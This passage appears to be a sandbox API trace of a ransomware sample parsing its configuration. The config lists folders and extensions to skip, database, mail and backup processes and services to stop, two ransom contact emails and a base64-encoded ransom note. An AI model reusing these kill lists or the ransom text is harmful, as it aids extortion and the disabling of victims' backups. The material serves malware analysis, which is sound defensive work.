VzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x327f830, _Radix=0 | out: _EndPtr=0x327f830*=",\"spsz\":16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 0 [0165.822] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c67e0, Size=0xc) returned 0x33c1cd8 [0165.822] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6e70 [0165.822] strtol (in: _Str="16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x327f830, _Radix=0 | out: _EndPtr=0x327f830*=",\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 16534 [0165.822] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33c1cd8, Size=0x10) returned 0x33c1c30 [0165.822] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33c6f30 [0165.822] strtol (in: _Str="10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x327f830, _Radix=0 | out: _EndPtr=0x327f830*=",\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 10 [0165.822] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, 